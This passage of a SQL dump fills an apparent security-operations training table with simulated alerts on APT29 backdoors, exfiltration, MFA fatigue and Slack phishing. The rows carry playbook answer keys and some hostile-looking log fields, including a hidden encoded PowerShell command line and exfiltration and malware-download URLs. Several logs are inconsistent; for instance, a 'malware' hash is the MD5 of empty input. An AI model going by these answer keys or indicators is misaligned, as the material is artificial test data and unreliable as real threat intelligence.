1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(882, 'Persistent Backdoor Installation Detected', 'high', 'Endpoint Detection and Response (EDR)', 'APT29 has installed a backdoor on host 192.168.1.101 using obfuscated techniques to maintain access. This is part of a larger operation to compromise the environment.', 'Persistence', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:34Z\",\"event_type\":\"process_creation\",\"host_ip\":\"192.168.1.101\",\"attacker_ip\":\"203.0.113.5\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -nop -w hidden -enc SGVsbG8gd29ybGQ=\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\powershell.exe\",\"username\":\"jdoe\",\"hash\":\"3a1e2f1d2b4c5e6f7a8b9c0d1e2f3a4b\",\"malware_filename\":\"backdoor_ap29.dll\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.5\"}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known APT29 command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a1e2f1d2b4c5e6f7a8b9c0d1e2f3a4b\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT29 backdoor activities.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor_ap29.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Filename used by APT29 for persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account compromised for persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(883, 'Unusual Lateral Movement Activity', 'high', 'Network Monitoring Tools', 'Detected lateral movement within the network. Anomalous activity observed from internal host attempting unauthorized access to multiple systems. Indicators suggest potential APT29 involvement leveraging known TTPs.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-18T14:23:45Z\",\"event_id\":\"1001\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"10.0.0.15\",\"user\":\"jdoe\",\"action\":\"login_attempt\",\"status\":\"failed\",\"external_attacker_ip\":\"203.0.113.45\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"APT29_tool.exe\",\"protocol\":\"SMB\",\"message\":\"Anomalous login attempt detected from host 192.168.1.25 to 10.0.0.15; potential lateral movement suspected.\"}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known APT29 malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"APT29_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Filename resembles known APT29 tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(884, 'Data Exfiltration Attempt Identified', 'high', 'Data Loss Prevention (DLP)', 'APT29 attempts to exfiltrate critical data from compromised systems, targeting government and defense sector intelligence.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:05Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.102\",\"filename\":\"confidential_data.zip\",\"file_hash\":\"b2f5ff47436671b6e533d8dc3614845d\",\"user\":\"jdoe\",\"exfiltration_method\":\"HTTP POST\",\"action\":\"blocked\",\"alert_id\":\"DLP-20231015-1025\",\"additional_info\":{\"url\":\"http://maliciousdomain.com/upload\",\"protocol\":\"HTTP\",\"bytes_transferred\":10485760}}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known APT29 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised host within the organization.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP System\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document containing classified information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b2f5ff47436671b6e533d8dc3614845d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with data exfiltration attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Malware distribution and data exfiltration site used by APT29.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee account used for unauthorized data access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"},{\"timestamp\":\"2026-02-01T20:31:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"},{\"timestamp\":\"2026-02-01T20:30:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"},{\"timestamp\":\"2026-02-01T20:29:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"},{\"timestamp\":\"2026-02-01T20:28:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(885, 'Initial Access via MFA Fatigue Attack', 'high', 'MFA logs', 'Lapsus$ initiates the attack by bombarding a contractor\'s MFA with repeated requests, causing fatigue and eventual approval. This technique is aimed at bypassing multi-factor authentication through repeated attempts, leading the target to inadvertently approve access.', 'Credential Access', 'T1110.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:32:11Z\",\"event_type\":\"MFA Request\",\"user\":\"j.doe@contractor.com\",\"user_role\":\"Contractor\",\"source_ip\":\"45.67.89.101\",\"destination_ip\":\"10.0.5.12\",\"mfa_method\":\"push_notification\",\"request_count\":50,\"final_action\":\"approved\",\"device\":{\"device_id\":\"device123\",\"os\":\"iOS\",\"os_version\":\"14.8\"},\"user_agent\":\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\"}', '2026-01-15 00:57:25', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.67.89.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lapsus$ operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Corporate VPN gateway.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe@contractor.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"clean\",\"details\":\"Current contractor with valid credentials.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"escalate\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(886, 'Execution of Phishing Campaign on Slack', 'high', 'Slack chat logs', 'An advanced phishing campaign was detected on Slack, where attackers used social engineering to send deceptive messages. The goal was to trick employees into divulging sensitive information. An external IP was involved in sending a malicious file, which was shared in a Slack channel.', 'Phishing', 'T1566.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"source_ip\":\"203.0.113.5\",\"internal_ip\":\"10.1.12.34\",\"user\":\"j.doe@company.com\",\"channel\":\"#general\",\"message\":\"Please review the attached document for the latest update.\",\"attachment\":{\"filename\":\"Q3_finance_report.pdf\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"url\":\"http://malicious-site.com/download/Q3_finance_report.pdf\"},\"action_taken\":\"None\"}', '2026-01-15 00:57:25', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malware by multiple security vendors.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/download/Q3_finance_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Scanner\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing activities.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.559Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"10.1.12.34\\\",\\\"user\\\":\\\"j.doe@company.com\\\",\\\"channel\\\":\\\"#general\\\",\\\"message\\\":\\\"Please review the attached document for the latest update.\\\",\\\"attachment\\\":{\\\"filename\\\":\\\"Q3_finance_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://malicious-site.com/download/Q3_finance_report.pdf\\\"},\\\"action_taken\\\":\\\"None\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.559Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"10.1.12.34\\\",\\\"user\\\":\\\"j.doe@company.com\\\",\\\"channel\\\":\\\"#general\\\",\\\"message\\\":\\\"Please review the attached document for the latest update.\\\",\\\"attachment\\\":{\\\"filename\\\":\\\"Q3_finance_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://malicious-site.com/download/Q3_finance_report.pdf\\\"},\\\"action_taken\\\":\\\"None\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.559Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"10.1.12.34\\\",\\\"user\\\":\\\"j.doe@company.com\\\",\\\"channel\\\":\\\"#general\\\",\\\"message\\\":\\\"Please review the attached document for the latest update.\\\",\\\"attachment\\\":{\\\"filename\\\":\\\"Q3_finance_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://malicious-site.com/download/Q3_finance_report.pdf\\\"},\\\"action_taken\\\":\\\"None\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.559Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 